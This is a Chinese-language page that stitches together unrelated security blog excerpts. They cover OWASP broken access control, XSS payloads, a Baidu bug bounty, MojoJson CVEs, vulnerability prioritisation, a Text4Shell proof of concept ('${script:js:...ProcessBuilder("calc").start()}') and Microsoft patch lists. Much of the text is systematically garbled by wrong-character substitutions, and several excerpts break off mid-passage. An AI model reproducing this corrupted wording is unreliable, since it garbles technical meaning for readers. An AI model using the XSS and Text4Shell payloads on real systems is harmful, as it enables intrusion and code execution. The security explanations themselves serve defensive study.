漏洞

作者： gentle_zhou 原文链接：https://bbs.huaweicloud.com/blogs/400993 Web应用程序平安始终是一个重要的话题，它岂但关系到网络用户的隐衷，财产，而且关系着用户对程序的新人。随着Web应用程序性能继续减少，复杂性一直进步，这些程序也面临着越来越多的平安威逼和挑战。 为了帮忙这些应用程序的开发团队和平安人员理解和防备这些威逼，进步安全意识，编写更平安的代码，OWASP（Open Web Application Security Project，开放式Web应用程序平安我的项目）公布了一份规范指南，称为OWASP Top 10。 这是一份对于Web应用程序平安危险的规范指南，它基于寰球范畴内的平安专家和数据提供者的共识，列出了以后最重大、最要害的10种Web应用程序平安危险，并提供了相应的防范措施和倡议。OWASP Top10 每隔几年会更新一次（目前曾经公布了六个版本，别离是2004年、2007年、2010年、2013年、2017年和2021年），最新的版本是在2021年公布的OWASP Top10:2021。 明天，就来为大家解说其中的第一条缺点：Broken Access Control访问控制生效，它从2017年版本的第5位回升到了以后第一位。 毁坏访问控制指的是拜访控制策略没有被正确的执行，导致用户能够在他们的预期权限之外进行操作。这种缺点通常会导致未受权的信息被泄露，批改，销毁，或者让用户执行了超出其权限限度的业务性能。 常见的访问控制生效类型常见的访问控制生效类型包含： 违反最小权限准则或默认回绝准则，即拜访只应该被授予限定的能力、角色或用户，但却对任何人凋谢。权限晋升，即用户应用了超过其原先身份的权限，比方在未登录时拿取到了用户权限，或在以用户身份登录时拿取到了管理员权限。通过参数篡改或强制浏览来批改URL、利用状态、HTML页面，或则应用攻打工具批改API申请，以此绕过访问控制查看。批改惟一标识符（不平安的间接对象援用），即通过批改应用程序中用户可控的值（如参数）来拜访对象，但程序没有进行适当的受权查看，导致其能够去查看或编辑其他人的账户。元数据操作，例如重放或篡改JSON Web Token（JWT）来访问控制令牌，或则通过批改cookie、暗藏字段来晋升权限。CORS配置谬误，即跨域资源共享（CORS）的机制没有正确设置，导致浏览器无法访问不同源的资源，导致访问控制查看被绕过，造成服务器信息泄露或数据篡改。API未设置访问控制。如何避免该缺点的产生访问控制仅仅在可信的服务器端代码或则API中失效，因为这能够避免攻击者批改访问控制查看或元数据。同时，须要做到如下几点： 除了公共资源意外，其余拜访默认都回绝实现一次访问控制机制，并在整个应用程序中重复使用它们，包含尽量减少跨域资源共享(CORS)的应用。模型访问控制应该强制记录用户的所有权，而不是承受任意用户能够创立、读取、更新或删除任何记录。一些非凡应用程序业务的限度需要应该由域模型（domain model）强制执行。禁用web服务器目录列表，并确保文件元数据(例如.git)和备份文件不在web根目录中。记录访问控制失败的产生，在适当的时候揭示管理员(例如，反复失败X次)。对API和控制器拜访进行速率限度，以最小化自动化攻打工具造成的危害。用户登记后，有状态会话标识符应该在服务器上生效。无状态JWT令牌应该是短暂的，这样攻击者的机会窗口就会被最小化。对于寿命较长的jwt，强烈建议遵循OAuth规范来撤销拜访。开发人员和平安品质相干人员在日常，应该养成针对访问控制功能模块进行集成测试的习惯。 举个栗子应用程序在拜访账号信息的SQL语句中应用了未被验证的数据： pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( );那么攻击者就能够去批改这个参数信息"acct”为任何他们想要的信息，配上任何他们心愿理解的账号。如果程序对这信息没有好好验证，那么攻击者就能够借此去理解任何一位用户的账号信息，比方https://example.com/app/accountInfo?acct=notmyacct。 参考链接[https://owasp.org/Top10/A01_2021-Broken_Access_Control/]()体验华为云CodeArts Check 代码查看服务：https://www.huaweicloud.com/product/codecheck.html

一、前言2月份的1.2亿条用户地址信息泄露再次给各大公司敲响了警钟，数据安全的重要性更加凸显，这也更加动摇了咱们推广平安测试常态化的信心。随着测试组平安测试常态化的推动，有更多的共事对逻辑破绽产生了趣味，本系列文章旨在揭秘逻辑破绽的范畴、原理及预防措施，逐渐晋升大家的安全意识。作为开篇第一章，本文选取了广为熟知的XSS逻辑破绽进行介绍。 二、XSS破绽介绍1.XSS破绽的定义 跨站脚本（Cross Site Script）,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混同，故将跨站脚本缩写为XSS。跨站脚本（以下简称XSS）通常产生在客户端，攻击者在Web页面中插入歹意JavaScript代码（也包含VBScript和ActionScript代码等），用户浏览此页面时，会执行这些恶意代码，从而使用户受到攻打。 2.XSS次要攻打模式 存储型跨站脚本攻打攻击者利用应用程序提供的增加、批改数据性能，将歹意数据存储到服务器中，当其余用户浏览展现该数据的页面时，浏览器会执行页面嵌入的歹意脚本，从而达到歹意攻打的目标，这种攻打是长久化的。 反射型跨站脚本攻打攻击者发送一个URL给用户并诱导其拜访，浏览器会执行页面嵌入的歹意脚本，从而达到歹意攻打的目标，这种攻打只执行一次，是非长久化的。 DOM跨站脚本攻打在Html页面中，未通过标准JavaScript间接操作用户输出的数据，当攻击者插入一段恶意代码，在页面最终展示会执行歹意脚本，从而达到歹意攻打的目标。 3.XSS破绽危害 信息窃取（如盗取用户cookie，伪造用户身份登录）钓鱼欺诈蠕虫攻打三、XSS破绽原理剖析 四、XSS破绽实例剖析1.存储型XSS 破绽地位其实为两处，此处相似iframe嵌⼊，原url为test.jd.com，所以间接影响两个站 破绽证实：发送如下数据包，即可插⼊存储型XSS 2.反射型XSS 输出万能语句 <script>alert()</script>后并没有弹窗，查看源码可见 <>被本义了 在input标签的value处，没有将咱们输出的内容进行严格过滤，所以手动闭合value，再执行脚本 "><script>alert()</script> 五、XSS破绽防备意见1.存储型和反射型 XSS 存储型和反射型 XSS 都是在服务端取出恶意代码后，插入到响应 HTML 里的，攻击者刻意编写的“数据”被内嵌到“代码”中，被浏览器所执行。预防这两种破绽，有两种常见做法： 1）改成纯前端渲染，把代码和数据分隔开 对 HTML 做充沛本义。浏览器先加载一个动态 HTML，此HTML 中不蕴含任何跟业务相干的数据。而后浏览器执行 HTML 中的 JavaScript。JavaScript 通过 Ajax 加载业务数据，调用 DOM API 更新到页面上。在纯前端渲染中，咱们会明确的通知浏览器：上面要设置的内容是文本（.innerText），还是属性（.setAttribute），还是款式（.style）等等。浏览器不会被轻易的被坑骗，执行预期外的代码了。 但纯前端渲染还需注意防止 DOM 型 XSS 破绽（例如 onload 事件和 href 中的 javascript:xxx 等，请参考下文”预防 DOM 型 XSS 攻打“局部）。在很多外部、管理系统中，采纳纯前端渲染是十分适合的。但对于性能要求高，或有 SEO 需要的页面，咱们依然要面对拼接 HTML 的问题。 2）本义 HTML 如果拼接 HTML 是必要的，就须要采纳适合的本义库，对 HTML 模板各处插入点进行充沛的本义。 ...

墨客出战，攻守兼备！全新一季百度“墨客”挑战邀请赛将于5月15日正式开启，单个破绽最高5万元丰富奖金等你赢取！本次百度“墨客”挑战邀请赛将聚焦近程代码执行和近程命令执行破绽，以RCE破绽为指标，笼罩百度各大业务，但暂不包含APP、客户端，而流动工夫也将从5月15日继续发展至5月28日，并依据不同类别、级别的提交破绽，给予1万元至5万元不等的现金处分。特地是对于波及集群逃逸的云原生破绽，咱们将予以特地关注。 众测范畴百度团体业务（暂不包含APP、客户端） 众测工夫2023年5月15日-2023年5月28日 处分机制RCE破绽 不通内网 定额处分1w/个RCE破绽 通内网 定额处分3w/个 云原生破绽 波及集群逃逸 最高处分至5w/个 留神：为防止影响荣誉榜排名，以及月度处分发放，RCE破绽不通内网定级高危，评分400分，RCE破绽通内网定级高危，评分600分，云原生破绽波及集群逃逸定级重大，评分1000分，处分有余局部另外发放 破绽提交相干阐明提交破绽时，破绽题目请注明【RCE】+破绽名称，如【RCE】+某业务线一处XX破绽。如提交破绽未注明本次流动，此破绽将不参加众测处分，只享受惯例平安币处分，不在众测范畴内的破绽请勿增加众测题目。 测试注意事项 禁止应用扫描器、压力测试等高并发程序扫描、攻打测试对象。尽量避开业务高峰期进行测试，高峰期时间段18:00-23:30。白帽子依据破绽对业务的危害进行主观等级自评，且不在众测范畴内的破绽不要增加众测题目。在破绽测试过程中，须恪守浸透测试准则，严格遵守《网络安全法》的规定，对于上传webshell、歹意拖取数据、下载源码等越界行为，破绽均0分解决，且百度有权力报案、举报、并配合刑事侦察机关提供相应证据。为了爱护百度产品及业务的平安，升高用户平安危险，不得将未公开破绽提供给境外组织或者集体。测试过程中不得获取数据，如确有必要，不得超过10条；如利用破绽可能间接取得数据库写入权限，间接写入的数据条数不得超过2条；严禁大规模遍历数据的行为。白帽子在浸透测试中应恪守《百度平安应急响应核心（BSRC）服务协定》。对于百度“墨客”挑战邀请赛百度“墨客”挑战邀请赛由百度平安在2021年创建，旨在基于百度全域业务资产，邀请国内网络安全社区当先蓝军战队分阶段向红方防线发动“挑战”。所谓备者，国之重也。以“救守”之理念应答兵者诡道，明为墨攻，实为墨守，测验百度产品服务防护能力，开展贴近实战的攻防演练，独特推动平安体系的继续进化。

曾经很久没在社区发帖了，思考到今晚很多普通用户，当然也有程序员敌人中招，因而简略聊聊。因为是技术社区，没有正式平安报告那么谨严，因而排版简略，字数不多，心愿你能看懂。 问题景象：微信安卓端闪退 触发场景：没错，就是这个令一些人头疼的图片 图片体积其实自身并不大 将该文件在电脑中运行，提取dump文件剖析对该dump进行剖析，能够看到该文件中存在大量的垃圾缓存数据 具体危害惟一危害是导致微信客户端闪退，三次闪退会导致您从新登录，当然，整个流程并不会真正攻打您的手机。 文件特征值为：a2e50375393918ca53b2284bb6d748e1e204110284d06b49757094a5047d6213最初，通过某安全软件后盾上报剖析零碎进行特色比对，咱们发现，该文件于23日下午15点20分就有用户上报，由此推断最早受益用户中招工夫为23日。

护航数字经济倒退，助力更平安的AI将来近日，中国软件评测核心颁布“2022 年度网络和数据安全优良案例征集评比”流动后果。百度挪动端人脸识别平安治理计划荣获中国软件评测核心“挪动互联网APP产品安全漏洞治理”优良案例。 中国软件评测核心（工业和信息化部软件与集成电路促成核心）是中国电子信息产业倒退研究院（赛迪研究院）的核心成员，是工信部直属事业单位，创建于1990年，是我国首家通过中国合格评定国家认可委员会（CNAS）认可并获得国家计量认证的计算机软硬件产品质量检测机构。 为激发更多创新型、专业型网络安全和数据安全解决方案涌现，为网络安全和数据安全产业倒退提供新动力，中国软件评测核心开展2022年度网络和数据安全优良案例征集评选活动。通过多轮严格评审，百度挪动端人脸识别平安治理计划胜利入选“挪动互联网APP产品安全漏洞治理”优良案例。近年来，人脸识别技术落地势头迅猛，作为以后身份认证的重要环节之一，广泛应用于人工智能、模式识别、大数据金融、公安、电子商务等畛域。与此同时，人脸识别大规模利用的安全性始终倍受关注，黑产利用安全漏洞进行牟利，人脸盗刷案例频发。例如，黑产基于ROM注入/改机等形式，实现对手机摄像头劫持的形式进行人脸的替换，把本该从“理论摄像头”获取的视频流数据改为指定“视频文件”的读取。此类攻打属于设施底层技术篡改危险，攻击者通过数据劫持技术，对模型注入通过非法渠道采集或购买的实在数据，进而绕过AI模型对深度伪造和反抗攻打的防护，实现无感攻打，具备技术成熟、应用办法简略、隐蔽性强、检测难度大等特点，对社会、企业和公民个人隐私造成严重威胁和巨大损失。 此背景下，百度平安昊天镜智能风控系统于2021年推出了“百度挪动端人脸识别平安治理计划 ”，依靠于百度自主研发的新一代人脸平安sdk，联合深度学习人工智能前沿技术框架，基于设施软硬件信息、底层零碎信息、人脸识别/活体认证行为等，通过设施危险检测和风控模型综合剖析，可无效识别系统底层篡改、摄像头劫持、视频注入等泛滥平安危险，并将平安SDK交融到人脸识别SDK中，提供“高安全性”、“高通过率”、“高识别率”的金融级人脸平安服务。该计划同时也笼罩了H5的人脸识别场景，无效防备了黑产利用人脸识别破绽进行不法操作的行为，同时保障公民人脸识别的真实性和有效性。 《百度挪动端人脸识别平安治理计划 》可实用于APP内各场景，具备接入简略，应用范围广的特点，可疾速通过“SDK加API”的形式集成，同时反对SAAS和私有化两种部署模式。目前已有多家大型国有银行、城商行及互联网头部企业APP接入，无效拦挡数起异样、危险刷脸事件。 百度始终秉承着“科技为更好”的理念，一直使用翻新技术与实践经验为数据安全与隐衷爱护规范体系建设、产业标准倒退提供无力撑持。将来，百度将持续深耕AI前沿技术，提供平安性能更优、性能本地化水平更高、能笼罩适配多业务场景、多信息平台的高质量服务，助力企业提供更翻新、更智能、更迅速、更精准、更平安的零碎能力。携手AI时代平安生态搭档，独特打造平安生态多方治理格局，护航数字经济倒退，助力更平安的AI将来。

1.破绽形容近日，云起无垠的无垠代码含糊测试零碎通过对json parse库、MojoJson进行检测发现多个CVE破绽，破绽编号为：CVE-2023-23083 ~ CVE-2023-23088，该系列破绽皆为内存类破绽，破绽容许攻击者执行恶意代码进行攻打，从而造成严重后果。其中，CVE-2023-23086~CVE-2023-23088已公开。 MojoJson 是一个极其简略且超疾速的JSON 解析器。解析器反对解析Json 格局，并提供简略的API 来拜访不同类型的 Json 值。此外，外围算法能够很容易地用各种编程语言实现。 JSON.parse()是Javascript中一个罕用的 JSON 转换方法，JSON.parse()能够把JSON规定的字符串转换为JSONObject，JSON.parse()很不便，并且简直反对所有浏览器。 针对此类破绽，无垠代码含糊测试零碎均给出了相应倡议。 2.破绽详情① CVE-2023-23086 func SkipString中堆缓冲区溢出 MojoJson v1.2.3中的缓冲区溢出破绽容许攻击者通过SkipString函数执行任意代码。 破绽等级：重大；CVSS v3.1破绽评分：9.8 检测截图： ② CVE-2023-23087 函数Destory中指针谬误 在MojoJson v1.2.3中发现了一个问题，容许攻击者通过destroy函数执行任意代码。 破绽等级：重大；CVSS v3.1破绽评分：9.8 检测截图： ③ CVE-2023-23088 json_value_parse堆缓冲区溢出 Barenboim json-parser master和v1.1.0中的缓冲区溢出破绽已在v1.1.1中修复，容许攻击者通过json_value_parse函数执行任意代码。 破绽等级：重大；CVSS v3.1破绽评分：9.8 检测截图： 3.解决方案无垠代码含糊测试零碎针对每一个CVE破绽都给出了处理计划，可参照如上截图细看。 4.无垠代码含糊测试零碎无垠代码含糊测试零碎是一款基于Fuzzing技术研发的灰盒检测工具，通过它不仅能够发现逻辑类破绽，还能找到内存毁坏的破绽，比方缓冲区溢出、内存泄露、条件竞争等。该产品技术基于海量测试用例，交融笼罩疏导、人工智能AI等关键技术，赋能软件开发的开发、测试、运维、部署等阶段，在软件上线之前发现已知及未知破绽，能够更好的避免业务零碎带病上线。 参考链接：https://nvd.nist.gov/vuln/det...https://github.com/scottcgi/M...https://nvd.nist.gov/vuln/det...https://github.com/scottcgi/M...https://nvd.nist.gov/vuln/det...https://github.com/Barenboim/... 云起无垠（https://www.clouitera.com）是新一代智能含糊测试领跑者，采纳新一代Fuzzing技术全流程赋能软件供应链与开发平安，基于智能含糊测试引擎为协定、代码、数据库、API、Web3.0等利用提供弱小的软件平安自动化剖析能力，从源头助力企业自动化检测并助其修复业务系统安全问题，为每行代码平安运行保驾护航。

当咱们谈及开源破绽时，咱们会发现其数量永远处于增长状态。依据平安公司 Mend 钻研发现，在 2022 年前九个月发现并增加到其破绽数据库中的开源破绽数量比 2021 年减少了 33%。该报告从 2022 年 1 月到 2022 年 9 月对大概 1,000 家北美公司进行了代表性抽样，结果显示已知破绽中只有 13% 失去了修复。面对数量宏大的破绽，企业不得不对其进行优先级排序，例如像 log4j 这类可能造成重大业务危险的破绽会被优先解决，其余破绽则临时疏忽。  因而，无效地确定破绽的优先级对于企业来说非常要害。在本文中，咱们将一起探讨破绽优先级排序的六大关键因素。  1. 重大水平（Severity）重大水平能够说是最间接的思考因素。每个破绽都被归类在常见破绽和披露 (CVE) 列表中，并被赋予一个示意其严重性的常见破绽分数(CVSS)。一般来说，严重性越高，修复破绽的优先级越高。然而，状况并非总是如此。例如，CVSS 分数可能须要一些工夫能力调配给新破绽，因而零日破绽可能会被忽视。此外，只有当破绽与企业代码中应用的组件或依赖项相关联时，它才会带来危险。如果并无关联，那么它不会威逼到企业的代码库。  2. 可利用性（Exploitability）有一些破绽很容易在攻打中应用或利用，这也导致这些破绽被歹意攻击者利用的概率大大增加。须要留神的是，往往具备潜在重大影响的破绽其可利用性反而较低，而不太重大的破绽可能很容易且常常被利用。在这种状况下，不太重大的破绽可能会带来更高的利用危险，因而优先思考这类破绽是十分必要的。  3. 可达性（Reachability）破绽只有在可拜访的状况下能力被利用。换句话说，当攻击者能够找到从代码到破绽的清晰门路时，攻击者才会利用这个破绽。如果企业正在调用易受攻击的代码，那么该代码中的破绽可能会被利用。如果没有门路，代码无奈间接调用破绽。当威逼行为者发现了含有破绽的代码，但代码并未被企业软件或应用程序执行，这类破绽的可达性非常低。因而对于企业来说优先思考可达到的破绽，因为这些破绽更容易被利用。  4. 经营风险（Business Risk）在进行优先级排序时还有一个重要问题是：企业的软件或应用程序存在哪些业务危险？这种思考次要围绕数据，特地是客户的财务和个人身份数据。这种信息对歹意行为者来说很有价值，经常成为攻击者的指标。因而，解决此类数据的软件和应用程序中的破绽是优先思考的次要对象。  5. 应用程序的应用（Application Usage）同样，企业应该思考如何应用企业自行开发的软件或应用程序。这个软件/应用程序是边缘应用程序还是要害应用程序？它会被大量和各种各样的用户频繁应用吗？该应用程序是否连贯到网络（这对攻击者来说是一个有吸引力的接入点）？是否用于生产？它仅供外部应用，还是也供客户和合作伙伴等第三方实时应用？实际上，如果频繁应用的要害应用程序，且对其余用户和组织凋谢，并在生产中应用，这类应用程序可能更容易受到攻打，并会让企业面临更大的危险，因而企业该当优先思考这类应用程序中的破绽。  6. 修复可用性（Fix Availability）还有一个优先级参考因素是修复可用性。如果没有可用的修复程序，那么确定破绽的优先级就会变得毫无意义。在该破绽公布修复程序之前，企业是无奈采取任何措施来进行修复和补救的。  思考上下文在确定破绽的优先级时，应依据上下文思考所有上述注意事项。施行基于上下文的优先级排序是十分必要的，因为有时在一些状况中很重大的破绽但在另一些用例中的影响并不大或基本没有影响。例如，企业可能会遇到一个重大的 CVE，它使任何运行特定应用程序的 Windows 机器都能够利用某些近程代码执行，攻击者甚至能够接管该应用程序。然而理论企业应用的是 Linux，因而只管该破绽可能会对数百万 Windows 用户产生微小影响，但它对企业没有不利影响。依据不同的环境，破绽的威逼会立刻从高变为零。  而对于该企业更须要关注的是 Linux 中的中等严重性破绽，即便这个破绽严重性并不高，也可能对企业造成侵害。  应用优先级漏斗企业的应用程序平安解决方案应该可能通过这些思考因素中的每一个来收集和评估破绽。应用优先级漏斗，数以千计的未辨别和未过滤的破绽进入漏斗的顶部。随着通过有数层的思考规范，许多破绽被过滤掉，例如： 轻度重大不可利用或可利用性低不可达很少或从未在代码库中应用对敏感数据存在低危险或无风险仅存在于外部应用程序中，对第三方没有威逼在操作环境中有效曾经能够修复图片起源：Mend  所有上述情况可能的确是破绽，但重点是它们对企业的特定代码、软件和应用程序的威逼能够忽略不计。从企业的角度来看，这些破绽是误报，能够疏忽它们，或者至多升高优先级，从而让企业有更多工夫和精力来解决那些处于漏斗底部的破绽。这些破绽可能形成实在、间接和严重威胁，是企业真正须要优先思考的。而通过漏斗过滤这一过程，企业可能分明地区分和意识哪些破绽该当被优先解决。  参考链接：https://www.mend.io/resources...

前言最近始终在对刚研发进去的自动化Web/API破绽Fuzz的命令行扫描工具进行保护更新（工具地址：https://github.com/StarCrossP...），目前扫描工具已更新至第三个版本，新增了5条2022年CVE破绽POC，修复了例如Content-Type和body类型不统一等问题。最新版本测试稳固，满足Web/API的破绽Fuzz和多场景的破绽检测，欢送大家试用。 在保护更新扫描器POC库时，笔者看到了这个被称为“Textshell”的CVE破绽，决定学习剖析一波。 我的项目介绍Apache Commons Text 是一个低级库，用于执行各种文本操作，例如本义、计算字符串差别以及用通过插值器查找的值替换文本中的占位符。 破绽形容2022年10月13号，官网公布了Apache Commons Text的破绽通告，破绽编号：CVE-2022-42889。Apache Commons Text 执行变量插值，容许动静评估和扩大属性。插值的规范格局是“${prefix:name}”，其中“prefix”用于定位执行插值的。 org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版，攻击者可结构歹意文本，使得Apache Commons Text 在解析时执行任意恶意代码。 利用范畴1.5 <= Apache Commons Text <= 1.9 破绽剖析环境搭建 IDEA 通过Maven导入依赖 pom.xml如下： <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-configuration2</artifactId> <version>2.7</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-text</artifactId> <version>1.9</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>3.12.0</version> </dependency></dependencies>测试代码： package org.text;import org.apache.commons.text.StringSubstitutor;public class Main { public static void main(String[] args) { StringSubstitutor interpolator = StringSubstitutor.createInterpolator();// String payload = interpolator.replace("${script:js:new java.lang.ProcessBuilder(\"calc\").start()}"); String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}"; interpolator.replace(payload); }}JDK版本1.8 ...

在过来的几天里，Apache Commons Text 库中一个名为 Text4Shell 的新破绽引起很大的轰动，该破绽存在于 Apache Commons Text 1.5到1.9版本中。此警报于10月18日公布，此前检测到大量试图利用 CVE-2022-42889 安全漏洞的攻打尝试，该破绽通过 StringSubstitutor API 实现近程代码执行，其CVSSv3 评分高达9.8分（满分10分）。为防止该破绽关联的危险，企业须要应用可用的最新版本 Apache Commons Text 1.10.0，默认状况下禁用脚本插值。 Log4Shell 卷土重来了吗？Text4Shell 之所以受到诸多关注是因为其名称与去年可怕的 Log4Shell 破绽十分相似。Log4Shell 和 Text4Shell 都是在 java 开源我的项目中发现的。Text4Shell 破绽的攻击方式是歹意攻击者通过利用破绽，来应用专门为攻打设计的无效负载在易受攻击的应用程序中胜利反向关上 shell，攻击者还能够通过 StringSubstitutor API 实现近程执行代码。 然而，StringSubstitution 不像 Log4j 那么广泛，目前有 2591个我的项目应用受影响的 Apache Commons Text 库版本。这样看来，应用 Substitution 办法并且不清理不受信赖的输出的我的项目并不多。同时为了让 Text4Shell 可被利用，必须要设置多个先决条件。加上没有清理输出的字符串替换办法并不是很常见的做法，能够说 Text4Shell 的危险比 Log4Shell 破绽中的 Log4j 低得多。 开发人员在写代码时呈现失误很失常的事件，也是意料之中的事，而在开源生态中，许多开源维护者和贡献者并不是业余的开发人员，因而谬误难以避免。Text4Shell 给大多数公司带来的最大问题就是考察和补救破绽所须要消耗的工夫，因为大多数组织不足工具和技术来疾速发现这种依赖关系的应用状况。在这个层面上，Text4Shell 和 Log4Shell 的比拟是比拟失当的。要晓得，美国平安审查委员会对于 Log4Shell 的最新报告指出美国政府共计投入了33000个小时来考察和响应 Log4Shell 破绽！ 尽管开源维护者也正在致力缩小失误呈现，但开源软件的最终用户始终须要投资于依赖软件生命周期治理解决方案，来帮忙他们抉择平安适当的依赖关系并给予无效爱护。同时通过进步自动化水平，为疾速考察和以高水平响应此类事件做好筹备。 依赖项中的依赖关系受影响依赖项的模糊性是要害挑战。开源组件中的破绽的广泛难题和挑战是，大多数破绽不会影响软件开发人员间接应用的组件（也就是依赖项）。取而代之的是，这些破绽会影响开发人员应用的依赖项的依赖关系，这也使得开发人员很难评估破绽对于其开发的软件是否真的很重要。在 Log4Shell 的案例中，Log4j 的风行是破绽威逼的重要外围，可怕的是你能够在任何中央找到它。 更重要的是，Log4Shell 破绽可能会影响为间接裸露于 Internet 的零碎，攻击者能够将触发破绽的歹意字符串或文本提交到一个零碎，而后通过不同的数据库和零碎流传，直到破绽利用组织网络深处易受攻击的零碎。Log4j 揭示了一个十分严厉的问题，即响应宽泛存在的破绽的费用通常比破绽自身影响更大。 ...

微软官网公布了2022年09月的安全更新。本月更新颁布了79个破绽，蕴含31个近程执行代码破绽、18个特权晋升破绽、7个信息泄露破绽、7个拒绝服务破绽以及1个平安性能绕过破绽，其中5个破绽级别为“Critical”（高危），58个为“Important”（重大）。倡议用户及时应用火绒安全软件（集体/企业）【破绽修复】性能更新补丁。 波及组件.NET and Visual Studio.NET FrameworkAzure ArcCache SpeculationHTTP.sysMicrosoft DynamicsMicrosoft Edge (Chromium-based)Microsoft Graphics ComponentMicrosoft OfficeMicrosoft Office SharePointMicrosoft Office VisioMicrosoft Windows ALPCMicrosoft Windows Codecs LibraryNetwork Device Enrollment Service (NDES)Role: DNS ServerRole: Windows Fax ServiceSPNEGO Extended NegotiationVisual Studio CodeWindows Common Log File System DriverWindows Credential Roaming ServiceWindows DefenderWindows Distributed File System (DFS)Windows DPAPI (Data Protection Application Programming Interface)Windows Enterprise App ManagementWindows Event TracingWindows Group PolicyWindows IKE ExtensionWindows KerberosWindows KernelWindows LDAP - Lightweight Directory Access ProtocolWindows ODBC DriverWindows OLEWindows Photo Import APIWindows Print Spooler ComponentsWindows Remote Access Connection ManagerWindows Remote Procedure CallWindows TCP/IPWindows Transport Security Layer (TLS) ...

依据美国国家破绽数据库（NVD）数据显示，安全漏洞的数量在过来22年内处于继续减少的状态。 图片起源：NVD 随着安全漏洞数量的继续递增，以及近几年内大型安全漏洞事变的产生，让越来越多的企业意识到破绽治理打算的重要性。企业也开始加倍增强破绽治理，确保其免受歹意攻打。为了寻找下一个重大破绽，歹意攻击者对以后已知破绽放弃亲密跟踪。因而企业须要比黑客先行一步，通过破绽治理流程来检测和修复零碎中的安全漏洞。 继续更新破绽治理打算破绽治理打算并不是一个新兴的概念，但在信息科技高速倒退的时代背景下，动静软件开发生态系统和一直变动的威逼局势迫使企业将破绽治理流程保护至最新状态，确保在任何工夫呈现的破绽威逼或攻打下可能保障企业零碎和软件平安无虞。 破绽治理打算通常包含检测、优先级策略、修复和报告。 治理打算中的每一个步骤都须要不断更新，来应答新的环境和平安危险，也保障开发和平安团队的工作流程轻松且麻利。让咱们顺次来看破绽治理打算的每个步骤，看看企业该当如何对未知的平安威逼和危险做好应答筹备。 破绽检测：自动化是要害大部分企业的强制性破绽治理打算次要依赖于扫描工具。平安团队强制性执行每月/季度的配置审计和网络扫描工作，并产生一系列简短的审计扫描报告。尽管企业投入大量的工夫来尝试验证和解决所有报告的破绽危险和危险，但因为破绽数量过于宏大，企业无奈彻底解决所有威逼和危险。 鉴于一直倒退的开发生态系统、快节奏的开发需要以及已知安全漏洞数量的减少，企业须要采纳一种新的破绽识别方法，以及实用于各种零碎和平台的主动扫描工具。 为了更好高空对将来的平安挑战，企业须要明确理解正在应用的软件组件和平台是什么，以及是否蕴含新发现的破绽。这须要大量工具来继续跟踪开发环境、产品中的组件、可操作的数据和无关破绽的倡议。 跟踪所有层面的破绽治理打算除了爱护传统的网络基础设施外，企业还须要确保他们可能无效地扫描更宽泛的攻击面，包含云服务和容器等动静资产，以及非常容易受到攻打的数据库层，和须要 SAST 和 DAST 工具的应用层。 此外，开源组件是开发人员在进行开发工作时的重要组成部分，并失去了一个沉闷的社区的反对，该社区尽最大致力发现并为我的项目中的破绽创立修复程序。想要面对以后和将来威逼的组织必须包含治理开源组件及其危险的专用自动化工具，除了传统的 SAST 和 DAST 工具，企业也须要配合应用软件成分剖析（SCA），为企业补充检测、监控和正告易受攻击的开源组件的能力。 执行破绽优先级策略传统的破绽治理打算侧重于辨认和检测。然而，如果企业无差别跟踪所有层级和危险，会让企业吞没在平安警报中。并非所有破绽都须要厚此薄彼，企业不能自觉地钻研每个新发现的破绽。因而如果企业想无效放弃平安，就必须开始执行破绽优先级策略。 此外，企业能够抉择适合的破绽管理软件，来帮忙团队确定可能对组织造成最大毁坏的最大危险的破绽优先级。包含威逼情报洞察和工具，容许将破绽数据与危险的评估和修补相结合，以帮忙团队依据参数（例如对代码的影响）解决危险最高的问题。 破绽修复在确定零碎中的哪些安全漏洞是须要关注的之后，企业就须要开始进行修复工作了。对企业而言，制订补丁治理规定，确认及时无效的测试方法，以及确保受到影响的区域利用正确的补丁是至关重要的。 好的破绽治理解决方案可能帮忙企业依据破绽优先级疾速解决平安威逼，并且确保对应修复失去验证，不会毁坏构建，且不会烦扰其余组件和流程。同时，破绽修复解决方案该当与所有团队（开发人员、平安和 DevOps）放弃同步，从而使整个破绽治理过程顺利运行。 报告和 SBOM：破绽治理的重要组成部分2021年7月，美国国家电信和信息管理局（NTIA）公布了软件物料清单（SBOM）所需的最低因素，以进步技术供应商和政府客户的软件供应链可见性和透明度。这一要求进一步强调了将报告（Reporting）作为全面破绽治理打算重要组成部分的必要性。而 SBOM 可能轻松反映软件健康状况，并能够用于继续辨认和解决供应链破绽危险，保障软件开发生态系统的平安。 总 结在将来，破绽治理无望集成新的自动化解决方案，帮忙企业在不就义麻利或效率的状况下治理平安危险。而继续跟踪软件开发生态系统（包含软件供应链），执行优先级策略，且对破绽进行无效修复和及时生成残缺报告的企业，可能更轻松高效地进行软件公布，并且在将来的市场竞争中怀才不遇。 参考链接：https://www.mend.io/resources...

微软官网公布了2022年07月的安全更新。本月更新颁布了86个破绽，蕴含52个特权晋升破绽、12个近程执行代码破绽、11个信息泄露破绽、5个拒绝服务破绽、4个平安性能绕过破绽以及2个篡改破绽，其中4个破绽级别为“Critical”（高危），80个为“Important”（重大）。倡议用户及时应用火绒安全软件（集体/企业）【破绽修复】性能更新补丁。 波及组件AMD CPU BranchAzure Site RecoveryAzure Storage LibraryMicrosoft Defender for EndpointMicrosoft Edge (Chromium-based)Microsoft Graphics ComponentMicrosoft OfficeOpen Source SoftwareRole: DNS ServerRole: Windows Fax ServiceRole: Windows Hyper-VSkype for Business and Microsoft LyncWindows Active DirectoryWindows Advanced Local Procedure CallWindows BitLockerWindows Boot ManagerWindows Client/Server Runtime SubsystemWindows Connected Devices Platform ServiceWindows Credential GuardWindows Fast FAT DriverWindows Fax and Scan ServiceWindows Group PolicyWindows IISWindows KernelWindows MediaWindows Network File SystemWindows Performance CountersWindows Point-to-Point Tunneling ProtocolWindows Portable Device Enumerator ServiceWindows Print Spooler ComponentsWindows Remote Procedure Call RuntimeWindows Security Account ManagerWindows Server ServiceWindows ShellWindows StorageXBox ...

